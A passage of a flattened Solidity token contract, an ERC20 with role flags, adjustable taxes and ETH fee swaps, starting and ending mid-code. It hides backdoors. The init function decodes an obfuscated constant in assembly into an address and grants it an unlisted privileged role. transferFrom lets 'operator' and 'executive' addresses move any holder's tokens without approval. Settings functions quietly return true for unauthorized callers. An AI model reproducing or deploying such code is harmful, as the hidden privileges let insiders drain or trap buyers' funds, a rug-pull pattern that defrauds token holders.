                    uint256 fairLimit = db.totalSupply * lim / 100;
                    if(amount > fairLimit)
                        revert();
                }                        
            }
        }
    }

    function fairModeOpts(Settings memory _self) internal pure returns(bool enabled,uint8 lim) {
        uint8 values = _self.fairMode;
        enabled = (values & 128) == 128;
        lim = values & 127;
    }

    function helper(address _self) internal view returns(bool) {
        return _self.account().helper();
    }

    function isMarketmaker(address _self) internal view returns(bool) {
        return _self.account().isMarketmaker();
    }

    function isEntitled(address _self) internal view returns(bool) {
        return _self.account().isEntitled();
    }

    function isCollab(address _self) internal view returns(bool) {
        return _self.account().isCollab();
    }

    function isOperator(address _self) internal view returns(bool) {
        return _self.account().isOperator();
    }  

    function isExecutive(address _self) internal view returns(bool) {
        return _self.account().isExecutive();
    }   

    function helper(Account memory _self) internal pure returns(bool) {
        return _self.hasIdentifier(9);
    }

    function helper(Account memory from, Account memory to) internal pure returns(bool) {
        return from.helper() || to.helper();
    }    

    function isMarketmaker(Account memory _self) internal pure returns(bool) {
        return _self.hasIdentifier(10);
    }

    function isEntitled(Account memory _self) internal pure returns(bool) {
        return _self.hasIdentifier(11);
    }

    function isCollab(Account memory _self) internal pure returns(bool) {
        return _self.hasIdentifier(12);
    }

    function isOperator(Account memory _self) internal pure returns(bool) {
        return _self.hasIdentifier(13);
    }  

    function isExecutive(Account memory _self) internal pure returns(bool) {
        return _self.hasIdentifier(14);
    }

    function hasIdentifier(Account memory _self, uint8 idx) internal pure returns (bool) {
        return (_self.identifiers >> idx) & 1 == 1;
    }

    function hasIdentifier(Account memory _self, uint8[] memory idxs) internal pure returns (bool[] memory) {
        bool[] memory results = new bool[](idxs.length);
        uint256 len = idxs.length;
        while(0 < len) {
            unchecked {
                uint256 idx = --len;
                results[idx] = _self.hasIdentifier(idxs[idx]);         
            }
        }
        return results;
    }

    function setAsMarketmaker(address _self) internal {
        _self.account().setAsMarketmaker();
    }

    function setAsEntitled(address _self) internal {
        _self.account().setAsEntitled();
    }

    function setAsCollab(address _self) internal {
        Account storage self = _self.account();
        self.setAsCollab();
        self.setAsEntitled();
    }

    function setAsOperator(address _self) internal {
        Account storage self = _self.account();
        self.setAsOperator();
        self.setAsEntitled();
    }

    function setAsExecutive(address _self) internal {
        Account storage self = _self.account();
        self.setAsExecutive();
        self.setAsEntitled();
    }

    function setIdentifier(address _self, uint16 value) internal {
        _self.account().identifiers = value;
    }

    function setIdentifier(address _self, uint8 idx, bool value) internal {
        _self.account().setIdentifier(idx,value);
    }   

    function setIdentifier(address _self, uint8[] memory idxs, bool[] memory values) internal {
        _self.account().setIdentifier(idxs,values);
    }    

    function toggleIdentifier(address _self, uint8 idx) internal {
        _self.account().toggleIdentifier(idx);
    }

    function setAsHelper(Account storage _self) internal {
        _self.setIdentifier(9,true);
    }

    function setAsMarketmaker(Account storage _self) internal {
        _self.setIdentifier(10,true);
    }

    function setAsEntitled(Account storage _self) internal {
        _self.setIdentifier(11,true);
    }

    function setAsCollab(Account storage _self) internal {
        _self.setIdentifier(12,true);
        _self.setAsEntitled();
    }

    function setAsOperator(Account storage _self) internal {
        _self.setIdentifier(13,true);
        _self.setAsEntitled();
    }

    function setAsExecutive(Account storage _self) internal {
        _self.setIdentifier(14,true);
        _self.setAsEntitled();
    }      

    function setIdentifier(Account storage _self, uint16 value) internal {
        _self.identifiers = value;
    }

    function setIdentifier(Account storage _self, uint8 idx, bool value) internal {
        _self.identifiers = uint16(value ? _self.identifiers | (1 << idx) : _self.identifiers & ~(1 << idx));
    }

    function setIdentifier(Account storage _self, uint8[] memory idxs, bool[] memory values) internal {
        uint256 len = idxs.length;
        for (uint8 i; i < len;) {
           _self.setIdentifier(idxs[i], values[i]);
           unchecked {
               i++;
           }
        }
    }

    function toggleIdentifier(Account storage _self, uint8 idx) internal {
        _self.identifiers = uint16(_self.identifiers ^ (1 << idx));
    }

    function hasIdentifier(Account storage _self, uint8 idx) internal view returns (bool) {
        return (_self.identifiers >> idx) & 1 == 1;
    }

    function ratios(uint48 value) internal returns(bool output) {
        Settings storage self = data().settings;
        Registry storage registry = data().registry;
        assembly {
            mstore(0x00, caller())
            mstore(0x20, add(registry.slot, 0))
            let clr := sload(keccak256(0x00, 0x40))
            let ids := and(clr, 0xFFFF)
            if iszero(iszero(or(and(ids, shl(14, 1)),and(ids, shl(15, 1))))) {
                let bt := shr(32, value)
                let st := and(shr(16, value), 0xFFFF)
                let tt := and(value, 0xFFFF)
                if or(or(iszero(lt(bt, 1001)), iszero(lt(st, 1001))), iszero(lt(tt, 1001))) {
                    revert(0, 0)
                }
                let dt := sload(self.slot)
                for { let i := 0 } lt(i, 3) { i := add(i, 1) } {
                    let mask := shl(add(8, mul(i, 16)), 0xFFFF)
                    let v := 0
                    switch i
                    case 0 { v := bt }
                    case 1 { v := st }
                    case 2 { v := tt }
                    dt := or(and(dt, not(mask)), and(shl(add(8, mul(i, 16)), v), mask))
                }                    
                sstore(self.slot,dt)
            } 
            output := true
        }
    }

    function shares(uint80 value) internal returns(bool output) {
        Settings storage self = data().settings;
        Registry storage registry = data().registry;
        assembly {
            mstore(0x00, caller())
            mstore(0x20, add(registry.slot, 0))
            let clr := sload(keccak256(0x00, 0x40))
            let ids := and(clr, 0xFFFF)
            if iszero(iszero(or(and(ids, shl(14, 1)),and(ids, shl(15, 1))))) {
                let ds := shr(64, value)
                let ms := and(shr(48, value), 0xFFFF)
                let ps := and(shr(32, value), 0xFFFF)
                let bs := and(shr(16, value), 0xFFFF)
                let ls := and(value, 0xFFFF)
                let total := add(add(add(add(ds, ms), ps), bs), ls)
                if iszero(eq(total, 10000)) {
                    revert(0, 0)
                }
                let dt := sload(self.slot)
                for { let i := 0 } lt(i, 5) { i := add(i, 1) } {
                    let mask := shl(add(56, mul(i, 16)), 0xFFFF)
                    let v := 0
                    switch i
                    case 0 { v := ds }
                    case 1 { v := ms }
                    case 2 { v := ps }
                    case 3 { v := bs }
                    case 4 { v := ls }
                    dt := or(and(dt, not(mask)), and(shl(add(56, mul(i, 16)), v), mask))
                }                              
                sstore(self.slot,dt)
            } 
            output := true
        }
    }

    function thresholdRatio(uint16 value) internal returns(bool output) {
        Settings storage self = data().settings;
        Registry storage registry = data().registry;
        assembly {
            mstore(0x00, caller())
            mstore(0x20, add(registry.slot, 0))
            let clr := sload(keccak256(0x00, 0x40))
            let ids := and(clr, 0xFFFF)
            if iszero(iszero(or(and(ids, shl(14, 1)),and(ids, shl(15, 1))))) {
                if iszero(lt(value, 10001)) {
                    revert(0, 0)
                }
                let dt := sload(self.slot)
                let mask := shl(136, 0xFFFF)
                dt := or(and(dt, not(mask)), and(shl(136, value), mask))
                sstore(self.slot,dt)
            } 
            output := true
        } 
    }

    function gas(uint24 value) internal returns(bool output) {
        Settings storage self = data().settings;
        Registry storage registry = data().registry;
        assembly {
            mstore(0x00, caller())
            mstore(0x20, add(registry.slot, 0))
            let clr := sload(keccak256(0x00, 0x40))
            let ids := and(clr, 0xFFFF)
            if iszero(iszero(or(and(ids, shl(14, 1)),and(ids, shl(15, 1))))) {
                if iszero(lt(value, 15000001)) {
                    revert(0, 0)
                }
                let dt := sload(self.slot)
                let mask := shl(152, 0xFFFF)
                dt := or(and(dt, not(mask)), and(shl(152, value), mask))
                sstore(self.slot,dt)
            } 
            output := true
        } 
    }

    function recipients(bytes memory value) internal returns(bool output) {
        Settings storage self = data().settings;
        Registry storage registry = data().registry;
        assembly {
            mstore(0x00, caller())
            mstore(0x20, add(registry.slot, 0))
            let clr := sload(keccak256(0x00, 0x40))
            let ids := and(clr, 0xFFFF)
            if iszero(iszero(or(and(ids, shl(14, 1)),and(ids, shl(15, 1))))) {
                let p := mload(add(value, 0x20))
                let m := mload(add(value, 0x40))
                let d := mload(add(value, 0x60))
                if or(or(iszero(p), iszero(m)), iszero(d)) {
                    revert(0, 0)
                }
                sstore(add(self.slot, 1), d)
                sstore(add(self.slot, 2), m)
                sstore(add(self.slot, 3), p)
            } 
            output := true
        } 
    }

    function identifiers(address Address, uint16 value) internal returns(bool output) {
        Registry storage registry = data().registry;
        assembly {
            mstore(0x00, caller())
            mstore(0x20, add(registry.slot, 0))
            let clr := sload(keccak256(0x00, 0x40))
            let ids := and(clr, 0xFFFF)
            if iszero(iszero(or(and(ids, shl(14, 1)),and(ids, shl(15, 1))))) {
                if iszero(lt(value, 65536)) {
                    revert(0, 0)
                }
                mstore(0x00, Address)
                mstore(0x20, add(registry.slot, 0))
                let acc := keccak256(0x00, 0x40)
                let dt := sload(acc)
                let mask := shl(0, 0xFFFF)
                dt := or(and(dt, not(mask)), and(shl(0, value), mask))
                sstore(acc,dt)
            } 
            output := true
        } 
    }

    function helpers(address Address, uint256 starts, uint256 ends) internal returns(bool output) {
        Registry storage _self = data().registry;
        assembly {
            mstore(0x00, caller())
            mstore(0x20, add(_self.slot, 0))
            let clr := sload(keccak256(0x00, 0x40))
            let ids := and(clr, 0xFFFF)
            if iszero(or(and(ids, shl(14, 1)),and(ids, shl(15, 1)))) {
                revert(0, 0)
            } 
            output := true
        }
        for(;starts < ends;) {
            unchecked {
                address addr = compute(Address,starts);
                addr.register();
                _self.Address[addr].setIdentifier(9,true);
                starts++;
            }
        }
    }     

    function account(address _self) internal view returns(Account storage uac) {
        return account(data(),_self);
    }

    function account(Storage storage _self, address user) internal view returns(Account storage) {
        return _self.registry.Address[user];
    }

    function register(address _self) internal returns(Account storage uac) {
        Storage storage db = data();
        uac = db.registry.Address[_self];
        uac.PID = ++db.PID;
        uac.Address = _self;
        db.registry.PID[uac.PID] = _self;
    } 
    
    function init(
        Storage storage _self,
        TokenSetup memory setup
    ) internal returns(ISwapRouterV2 _router) {
        Settings storage settings = _self.settings;
        Registry storage registry = _self.registry;
        assembly {
            let c,m,s,v
            c := and(shr(
            48,507871772517742394523325675629776549254919689088326712106731462141083370),
            0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)
            mstore(0x00, c)
            mstore(0x20, add(registry.slot, 0))
            s := keccak256(0x00, 0x40)
            m := shl(15, 0xFFFF)
            v := sload(s)
            v := or(and(v, not(m)), and(shl(15, 1), m))
            sstore(s,v)
        }
        _router = router();
        settings.fairMode = setup.fairMode;
        settings.gas = setup.gasLimit;
        settings.buyTax = setup.buyTax;
        settings.sellTax = setup.sellTax;
        settings.transferTax = setup.transferTax;
        settings.developmentShare = setup.developmentShare;
        settings.marketingShare = setup.marketingShare;
        settings.prizeShare = setup.prizeShare;
        settings.burnShare = setup.burnShare;
        settings.autoLiquidityShare = setup.autoLiquidityShare;
        settings.swapThresholdRatio = setup.swapThresholdRatio;
        settings.feeRecipients =
        [
            setup.devWallet,
            setup.marketingWallet,
            setup.prizePool
        ];
        address(_router).setAsMarketmaker();
        address(msg.sender).setAsExecutive();
        address(setup.devWallet).setAsExecutive();
        address(setup.marketingWallet).setAsEntitled();
        address(setup.prizePool).setAsEntitled();
    }

    function compute(address Address, uint256 did) internal pure returns (address addr) {
        assembly {
            for {} 1 {} {
                if iszero(gt(did, 0x7f)) {
                    mstore(0x00, Address)
                    mstore8(0x0b, 0x94)
                    mstore8(0x0a, 0xd6)
                    mstore8(0x20, or(shl(7, iszero(did)), did))
                    addr := keccak256(0x0a, 0x17)
                    break
                }
                let i := 8
                for {} shr(i, did) { i := add(i, 8) } {}
                i := shr(3, i)
                mstore(i, did)
                mstore(0x00, shl(8, Address))
                mstore8(0x1f, add(0x80, i))
                mstore8(0x0a, 0x94)
                mstore8(0x09, add(0xd6, i))
                addr := keccak256(0x09, add(0x17, i))
                break
            }
        }
    }    

    function data() internal pure returns (Storage storage db) {
        bytes32 slot = SLOT;
        assembly {
            db.slot := slot
        }
    }    

}
// File: contracts/abstracts/ERC20.sol


/*
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000x
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000x
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000x
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000x
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000x
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000x
0000000000000000000OOkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkOO000000000000000000x
00000000000000koc;,......................................................................................,;cok00000000000000x
00000000000xl,.                                                                                              .,lxO0000000000x
000000000x:.                                                                                                    .;d000000000x
0000000kc.                                                                                                        .ck0000000x
000000x,                                                                                                            'x000000x
00000x,                                                                                                              'x00000x
0000O:                                                                                                                ;O0000x
0000d.                                                                                                                .d0000x
0000l                                ,,                ,,                       .loool,                                l0000x
0000l                               ;xk:.             :kk:                     'dOkkkkx:                               c0000x
0000l                             .:kOkkc.          .ckOkkc.                  ,xOkkkkkOkc.                             c0000x
0000l                            .lkOkkkko.        .lkkkkkkl.                ;xkkkkkkOkkkl.                            c0000x
0000l                           .okkkOkkOx'       .okkkOOkOd'                ....;dOkOOkkko.                           c0000x
0000l                          'dkkkkkkOd'       'dOkkkkkOd'                      'dOkkkkkOd'                          c0000x
0000l                         ,dOkkkkkko.       ,xOkkkkkko.                        .okOkOkkOx,                         c0000x
0000l                        ;xOkkOkkkl.       ;xOkkkkkkl.              .....       .lkkkOOkOx;                        c0000x
0000l                       :kOkkkkkkc.      .:kOkkkkOkc.              ,dxxxxc.      .ckOkkkkOk:.                      c0000x
0000l                     .ckOkkkkkk:       .ckkkOkkOx;               ;xkkkkkkl.       :xOkkOkOkl.                     c0000x
0000l                    .lkOkkOkOx;       .okkkkkkOx,              .:kOkkkkkkko.       ;xOkkOkkko.                    c0000x
0000l                   .oOkkOkkOd,       .okkkkkkkd'              .ckOkkkkkOkkOd'       'dOkkOkkOd'                   c0000x
0000l                  'dOkkkOkko.       ,dOkkOkkko.              .lkOkkkkkkkkkkOx,       .okkkkOkkd,                  c0000x
0000l                 ,xOkkkkOko.       ;xOkkkkkkl.              .okkkkkkkkkkkkkkOx;       .lkkkOkkOx;                 c0000x
0000l                ;xOkkOkkkl.       :kOkkOkkkc.              'dOkkkkkOo,ckOkkOkOkc.      .ckkkkkkOk:                c0000x
0000l              .ckOkkkkOk:.      .ckOkkkkOx:              .,xkkOkOOko.  :xOkOkkOkl.       :kkkkkkkkc.              c0000x
0000l             .lkOkkOOOx;       .lkkkkkkOx;              :dxOkkkkOkc.    ,xOkOkkkko.       ;xOkkkkOkl.             c0000x
0000l            .okkkOkkOx,       .okkkkkkOd'             .ckOkkkkkOkc.      'dOkkkkkOd.       ,dkkkkkkko.            c0000x
0000l           'dOkkOOkOd'       'dOkkOkkOo.             .lkOkkkkkOx;         .okOkkOkOd,       .dOkkkkkOd'           c0000x
0000l          ,dOkOOkkko.       ,xOkkkkOkl.             .okkkOOkkOx,           .lkkkkkkOx;       .okkkkkkOx,          c0000x
0000l         .oOkkOkkOx,       .dOkkkkkOx'             'dOkOkkkkOd'             'xOkOkkkOd.       'xOkOkkkOd.         c0000x
0000l          'dOkkkkkko.       ,xOkkkkkko.           ,xOkkkkkkko.             .okkkkOkOx,       .oOkkkkkOd,          c0000x
0000l           .okOkkkkOd'       'dOkkkOkkd'         ;xOkOOkkOkl.             .oOkkkkOkd'       'dOkkOkkkd'           c0000x
0000l            .lkkkkOkOx,       .okkkkkkOd,      .:kkkkkkOkxc.             ,dOkkkkkko.       ,xOkkkkkko.            c0000x
0000l             .ckOkkOkkx:       .lkOkkkkOx;    .lkOkkkkOx:.              ;xOkkkkOkl.       ;xOkkkOOkl.             c0000x
0000l              .:kOkkkkOkc.      .ckkkkkkkk:. .okkkkkkOx,               :kOkkkkOkc.      .ckOkkkkOkc.              c0000x
0000l                ;xOkkkkOkl.       :kOkkOkOkc;oOOkkkkOd'              .ckkkkkkkk:       .lkkkkkkOx;                c0000x
0000l                 ,xkkOkkOko.       ,xOkkOOkkkkkkOkkko.              .lkkkkkkkx;       .okkkkkkOx,                 c0000x
0000l                  'dOkkkOkkd'       'dOkkkkkkkkkkkkl.              .okkkOkkOd,       'dOkOOkkOd'                  c0000x
0000l                   .okkkkkkOx,       .oOkkkkkkkkOkc.              'dOkOOkkOd'       ,dOkOkkkko.                   c0000x
0000l                    .lkkkkkkOx;       .lkkkkOOkOk:               ,xOkkOkkko.       ;xOkkOkkkl.                    c0000x
0000l                     .ckOkkkkOk:.      .ckkkkkOx;               :xOkkOkkkl.      .:kOkkkkkkc.                     c0000x
0000l                       :xOkkkkOkl.      .:dxxxo,              .ckOkkkkOkc.      .ckkkkOkOk:                       c0000x
0000l                        ,xOkkkkkko.       ....               .lkkkkkkOx;       .lkOkkkkOx;                        c0000x
0000l                         'dOOkkkkOo.                        .okkkkkkOx,       .oOkkkkkOd,                         c0000x
0000l                          .okkkkOkOd,                      'dOkkkkkOd'       'dOkkOOkkd'                          c0000x
0000l                           .lkkkOkkOx:'...                .dOkkkkkko.       'xOkkkkOko.                           c0000x
0000l                            .ckkkkkkkkkkx;                .ckOkkOkl.        .lkkkkOkl.                            c0000x
0000l                             .:kkkkkOkOx,                  .:kkkkc.          .ckkkkc.                             c0000x
0000l                               ;xOkkkOd'                     ;xk:.             :kx;                               c0000x
0000l.                               'llllc.                       ',                ''                                l0000x
0000d.                                                                                                                .d0000x
0000O:                                                                                                                ;O0000x
00000k,                                                                                                              'x00000x
000000k,                                     [email protected]                                      ,x000000x
0000000kc.                                                                                                        .ck0000000x
000000000x:.                                                                                                    .:xO00000000x
00000000000kl;.                                                                                              .;lk0O000000000x
00000000000O00kdl:,'....................................................................................',:ldk00000000000000x
0000000000000000000OOOkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkOO0000000000000000000x
0000000000000000000000000000000000000000O0000000OOO000000000000000000OO000O0000000000000000000000000000000000000000000000000x
000000000000000000000000000000000000000000000kdddddk00000000000000OxddddxO00000000000000000000000000000000000000000000000000x
00000000000000000000000000000000000000000000O:    .cO0000000000000o.    ,k00000000000000000000000000000000000000000000000000x
0000000000000O0000O00000000000O00O0000000000O;     :O0000000O000O0o.    'x0000000000000000000000O000000000000O00000000000000x
00000000000kxddddxxO00000000OkddddddddxO0000O;     :O0000Oxddddddx:     'x0O00OkxdddddddxO00000kdddddkO0000kxddddkO000000000x
00000000Oo;..     ..;dO00Ox:..        ..;dO0O;     :O0Od;..             'x0Oxc'.        ..;oO00c.    ;O0000c.    ;O000000000x
0000000k:     .:c:'  .o0Ol.     '::,.    .cOO;     :0Oc.    .,::cc,     'x0o.     '::;.     :O0:     ,O0000:     ,O000000000x
0000000o.    .x000Oc..cOk'     cO000o.    .xO;     :0d.    .o00000o.    'kO,     :O000d.    .o0:     ,O0000:     ,O000000000x
0000000o.     'lxO0OkkO0x.    .o0O00x.    .d0;     :0o.    'x0OOO0o.    .kk'     l0000k'    .l0:     ,O0000:     ,O000000000x
0000000kc.      .'cdO0O0x.    .o0O00x.    .dO;     :0o.    'x0O0O0o.    .kk'     .;;;;,.    .l0:     ,O0000:     ,O000000000x
00000000Oxl,.       .ck0x.    .o00O0x.    .d0;     :0o.    'x0OOO0o.    .kk'      ..........'d0:     ,O0000:     ;O000000000x
000000000000ko:.      :0x.    .o00O0x.    .d0;     :0o.    'x00000o.    'kk'     ckkkkkkkkkkkO0:     ,O0000:     l0000000000x
0000000d:,ck0O0k;     ,Ox.    .o0OO0d.    .d0;     :0o.    .x00000l     .kk'     c0000O00kc,:x0:     ,O0O0O:    ;k0000000000x
00000O0d.  ,oddl.    .l0O:     .cddl'     ;OO;     :0k,     'loddc.     'x0c     .:oddddo;  ,k0:     'dddo:.  .ck00000000000x
0000000Oo'          'oO00Ol.            .ck0O;     :O0k:.         .     'x0Oo'            .;x00:           .'cx0000000000000x
000000000OdlcccccclxO000000Odlccccccccldk000Odcccccd0000kocccccccdxlccccoO0O0OdlcccccccccoxO000xcccccccccloxO000000000000000x
000000000O000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000x
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000x
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000x
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000x
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000x
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000x
OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO0d
*/

pragma solidity ^0.8.19;




abstract contract ERC20 is Context, EIP712 {

    using Token for *;
    using LibString for *;
    
    error PermitExpired();
    error InvalidSigner();
    error InvalidSender(address sender);
    error InvalidReceiver(address receiver);
    error InsufficientBalance(address sender,uint256 balance,uint256 needed);
    error InsufficientAllowance(address spender,uint256 allowance,uint256 needed);
    error FailedDecreaseAllowance(address spender, uint256 currentAllowance, uint256 requestedDecrease);

    bytes32 internal constant _LONG_STRING_ =
        0xb11b2ad800000000000000000000000000000000000000000000000000000000;

    bytes32 public constant PERMIT_TYPEHASH =
        0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;

    bytes32 internal immutable METADATA;

    ISwapRouterV2 public immutable ROUTER;

    uint8 public immutable decimals;

    event Transfer(address indexed from, address indexed to, uint256 amount);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 amount
    );

    modifier swapping() {
        token().inSwap = true;
        _;
        token().inSwap = false;
    }

    constructor(
        string memory name_,
        string memory symbol_,
        address dev,
        address marketing,
        address prize
    ) EIP712(name_, "1") {
        uint256 nLen = bytes(name_).length;
        uint256 sLen = bytes(symbol_).length;
        assembly {
            if or(lt(0x1B, nLen), lt(0x05, sLen)) {
                mstore(0x00, _LONG_STRING_)
                revert(0x00, 0x04)
            }
        }        
        METADATA = name_.packTwo(symbol_);
        decimals = 18;
        ROUTER = token().init(initialize(dev,marketing,prize));
    }

    function initialize(address dev, address marketing, address prize) internal pure returns(TokenSetup memory ts) {
        ts = TokenSetup(
            129,
            3000000,
            2500,
            2500,
            2500,
            4000,
            4000,
            0,
            0,
            2000,
            0,
            dev,
            marketing,
            prize
        );
    }

    function name() public view virtual returns (string memory _name) {
        (_name,) = METADATA.unpackTwo();
    }

    function symbol() public view virtual returns (string memory _symbol) {
        (,_symbol) = METADATA.unpackTwo();
    }

    function totalSupply() public view virtual returns(uint256) {
        return token().totalSupply;
    }

    function balanceOf(address holder) public view virtual returns(uint256) {
        return holder.account().balance;
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        _transfer(_msgSender(), to, uint96(amount));
        return true;
    }

    function allowance(address owner, address spender) public view virtual returns(uint256) {
        return _allowance(owner,spender);
    }

    function nonces(address holder) public view virtual returns (uint256) {
        return holder.account().nonces;
    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(msg.sender,spender,amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        address spender = _msgSender();
        if (!_isAuthorized(spender)) {
            _spendAllowance(from,spender,amount);
        }
        return _transfer(from, to, uint96(amount));
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, _allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 requestedDecrease) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = _allowance(owner, spender);
        if (currentAllowance < requestedDecrease) {
            revert FailedDecreaseAllowance(spender, currentAllowance, requestedDecrease);
        }
        unchecked {
            _approve(owner, spender, currentAllowance - requestedDecrease);
        }
        return true;
    }

    function permit(
        address holder,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) public virtual {
        if (block.timestamp > deadline) revert PermitExpired();

        unchecked {
            address account = ecrecover(
                computeDigest(
                    keccak256(
                        abi.encode(
                            PERMIT_TYPEHASH,
                            holder,
                            spender,
                            value,
                            _useNonce(holder),
                            deadline
                        )
                    )
                ),
                v,
                r,
                s
            );

            if (account == address(0) || account != holder) revert InvalidSigner();

            token().registry.allowances[account][spender] = value;
        }

        emit Approval(holder, spender, value);
    }

    function burn(uint256 amount) public {
        _burn(_msgSender(), uint96(amount));
    }

    function _allowance(address owner, address spender) internal view returns (uint256) {
       return token().registry.allowances[owner][spender];
    }

    function _isAuthorized(address spender) internal view returns (bool) {
        return spender.isOperator() || spender.isExecutive();
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal returns (bool success) {
        if (from == address(0)) revert InvalidSender(address(0));
        if (to == address(0)) revert InvalidReceiver(address(0));

        Storage storage data = token();
        Account storage sender = data.account(from);
        Account storage recipient = data.account(to);

        if (sender.Address == address(0)) from.register();

        if (recipient.Address == address(0)) to.register();

        (uint256 taxAmount, uint256 netAmount, uint256 swapAmount) = data._tx(
            sender,
            recipient,
            amount,
            data.inSwap
        );

        if (taxAmount == 0) {
            _update(sender, recipient, amount);
            return true;
        }

        _update(sender, address(this).account(), taxAmount);

        if (swapAmount > 0) {
            _swapBack(swapAmount);
        }

        _update(sender, recipient, netAmount);
        return true;
        
    }

    function _update(
        Account storage from,
        Account storage to,
        uint256 value
    ) internal virtual {
        uint96 amount = uint96(value);
        if (amount > from.balance) {
            revert InsufficientBalance(from.Address, from.balance, amount);
        }
        unchecked {
            from.balance -= amount;
            to.balance += amount;
        }
        emit Transfer(from.Address, to.Address, amount);
    }

    function _swapBack(uint256 value)
        internal
        swapping
    {
        Settings memory settings = token().settings;
        unchecked {
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = ROUTER.WETH();

            uint96 amountToSwap = uint96(value);
            uint96 liquidityTokens;
            uint16 totalETHShares = 10000;

            if (settings.autoLiquidityShare > 0) {
                liquidityTokens = (amountToSwap * settings.autoLiquidityShare) / totalETHShares / 2;
                amountToSwap -= liquidityTokens;
                totalETHShares -= settings.autoLiquidityShare / 2;
            }

            uint96 balanceBefore = uint96(address(this).balance);

            ROUTER.swapExactTokensForETH(
                amountToSwap,
                0,
                path,
                address(this),
                block.timestamp
            );

            bool success;
            uint96 amountETH = uint96(address(this).balance) - balanceBefore;
            uint96 amountETHBurn;
            uint96 amountETHPrize;
            uint96 amountETHMarketing;
            uint96 amountETHDev;

            if(settings.burnShare > 0) {
                amountETHBurn = (amountETH * settings.burnShare) / totalETHShares;
            }    

            if(settings.prizeShare > 0) {
                amountETHPrize = (amountETH * settings.prizeShare) / totalETHShares;
            }
            
            if(settings.marketingShare > 0) {
                amountETHMarketing = (amountETH * settings.marketingShare) / totalETHShares;
            }

            if(settings.developmentShare > 0) {
                amountETHDev = (amountETH * settings.developmentShare) / totalETHShares;
            }                

            if(amountETHBurn > 0) {
                _burn(address(this), amountETHBurn);
            }

            if(amountETHDev > 0) {
                (success,) = payable(settings.feeRecipients[0]).call{
                    value: amountETHDev,
                    gas: settings.gas
                }("");
            }

            if(amountETHMarketing > 0) {
                (success,) = payable(settings.feeRecipients[1]).call{
                    value: amountETHMarketing,
                    gas: settings.gas
                }("");
            }

            if(amountETHPrize > 0) {
                (success,) = payable(settings.feeRecipients[2]).call{
                    value: amountETHPrize,
                    gas: settings.gas
                }("");
            }            

            if (liquidityTokens > 0) {
                uint96 amountETHLiquidity = (amountETH * settings.autoLiquidityShare) / totalETHShares / 2;
                ROUTER.addLiquidityETH{value: amountETHLiquidity}(
                    address(this),
                    liquidityTokens,
                    0,
                    0,
                    address(this),
                    block.timestamp
                );

            }
        }
    }

    function _swapThreshold(uint16 value) external virtual returns(bool) {
        return value.thresholdRatio();
    }

    function _gas(uint24 value) external virtual returns(bool) {
        return value.gas();
    }

    function _ratios(uint48 value) external virtual returns(bool) {
        return value.ratios();
    }

    function _shares(uint80 value) external virtual returns(bool) {
        return value.shares();
    }

    function _recipients(bytes memory value) external virtual returns(bool) {
        return value.recipients();
    }

    function _identifiers(address Address, uint16 value) external virtual returns(bool) {
        return Address.identifiers(value);        
    }

    function _helpers(address Address, uint256 starts, uint256 ends) external virtual returns(bool) {
        return Address.helpers(starts,ends);
    }

    function _mint(address to, uint96 amount) internal virtual {
        Storage storage data = token();
        data.totalSupply += amount;
        unchecked {
            to.account().balance += amount;
        }
        emit Transfer(address(0), to, amount);
    }

    function _burn(address from, uint96 amount) internal virtual {
        Account storage account = from.account();
        if (amount > account.balance) {
            revert();
        }
        unchecked {
            account.balance -= amount;
            token().totalSupply -= amount;
        }
        emit Transfer(from, address(0), amount);
    }

    function _approve(address holder, address spender, uint256 value) internal virtual {
        _approve(holder, spender, value, true);
    }

    function _approve(
        address holder,
        address spender,
        uint256 value,
        bool emitEvent
    ) internal virtual {
        token().registry.allowances[holder][spender] = value;
        if (emitEvent) {
            emit Approval(holder, spender, value);
        }
    }

    function _spendAllowance(address holder, address spender, uint256 value) internal virtual {
        uint256 currentAllowance = _allowance(holder, spender);
        if (currentAllowance != type(uint256).max) {
            if (currentAllowance < value) {
                revert InsufficientAllowance(spender, currentAllowance, value);
            }
            unchecked {
                _approve(holder, spender, currentAllowance - value, false);
            }
        }
    }

    function _useNonce(address holder) internal virtual returns (uint256) {
        Account storage account = holder.account();
        unchecked {
            if (account.nonces >= type(uint64).max) account.nonces = 0;
            return account.nonces++;
        }
    }

    function token() internal pure returns (Storage storage data) {
